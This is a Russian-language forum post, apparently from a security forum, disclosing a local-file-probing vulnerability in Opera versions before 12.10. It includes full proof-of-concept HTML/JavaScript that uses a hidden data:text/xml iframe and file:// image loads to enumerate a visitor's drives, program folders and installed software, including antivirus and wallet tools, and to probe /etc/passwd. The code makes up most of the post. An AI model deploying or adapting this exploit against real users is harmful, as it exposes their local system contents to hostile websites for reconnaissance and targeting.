follow
Уязвимость аналогична той, которую я нашел в прошлом году -
http://forum.antichat.net/thread307415.html
Загружаем во фрейм
xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.
При выводе ошибки opera подгружает локальный
css-файл, при этом отключая политику безопасности. После замены содержимого фрейма,
xml-документ обрабатывается как
html.
Для проверки статуса загрузки файла на этот раз использую свойство
complete обекта
image.
PoC (Windows, Linux; Opera
< 12.10)
http://mscript.biz/opera_localfiles.html
Исходник
PHP код:
<html>
<body>
<iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe>
<script>
var ifr = frames[0].document.documentElement;
var diskArr = 'CDEFGHIJKLMNOPQRSTUVWXYZ';
var diskDiv = document.createElement('div');
diskDiv.innerHTML = '<b>disks:</b><br>';
document.body.appendChild(diskDiv);
var dirArr = new Array(
'program files',
'program files (x86)'
);
var dirDiv = document.createElement('div');
dirDiv.innerHTML = '<br><b>program folders:</b><br>';
document.body.appendChild(dirDiv);
var progArr = new Array(
'adobe',
'akelpad',
'alcohol soft',
'avira',
'charles',
'daemon tools lite',
'drweb',
'eset',
'filezilla ftp client',
'filezilla ftp server',
'icq7.1',
'icq7.2',
'icq7.3',
'icq7.4',
'icq7.5',
'icq7.6',
'icq7.7',
'kaspersky lab',
'mcafee',
'microsoft office',
'microsoft visual studio',
'microsoft.net',
'mozilla firefox',
'nmap',
'nvidia corporation',
'notepad++',
'psi+',
'paragon software',
'qip',
'qip2010',
'qip2011',
'skype',
'teamviewer',
'total commander',
'truecrypt',
'utorrent',
'webmoney',
'winpcap',
'winrar',
'wireshark'
);
var progDiv = document.createElement('div');
progDiv.innerHTML = '<br><b>programs:</b><br>';
document.body.appendChild(progDiv);
function add(name, type, img)
{
if(img.complete)
{
switch(type)
{
case 0:
diskDiv.innerHTML += name + '<br>';
checkDir(name);
break
case 1:
dirDiv.innerHTML += name + '<br>';
checkProg(name);
break;
case 2:
progDiv.innerHTML += name + '<br>';
break;
case 3:
progDiv.innerHTML += name + '<br>';
}
}
else if(type == 3)
{
checkDisk();
}
}
function checkProg(dir)
{
for(var j in progArr)
ifr.innerHTML = "<img src='file://" + dir + '/' + progArr[j] + "' onerror='top.add(\"" + dir + '/' + progArr[j] + "\", 2, this)'>";
}
function checkDir(disk)
{
for(var j in dirArr)
ifr.innerHTML = "<img src='file://" + disk + '/' + dirArr[j] + "' onerror='top.add(\"" + disk + '/' + dirArr[j] + "\", 1, this)'>";
}
function checkDisk()
{
for(var i in diskArr)
ifr.innerHTML = "<img src='file://" + diskArr[i] + ":' onerror='top.add(\"" + diskArr[i] + ":\", 0, this)'>";
}
(function()
{
ifr.innerHTML = "<img src='file://localhost/etc/passwd' onerror='top.add(\"/etc/passwd\", 3, this)'>";
})()
</script>
</body>
</html>
тема на antichat.ru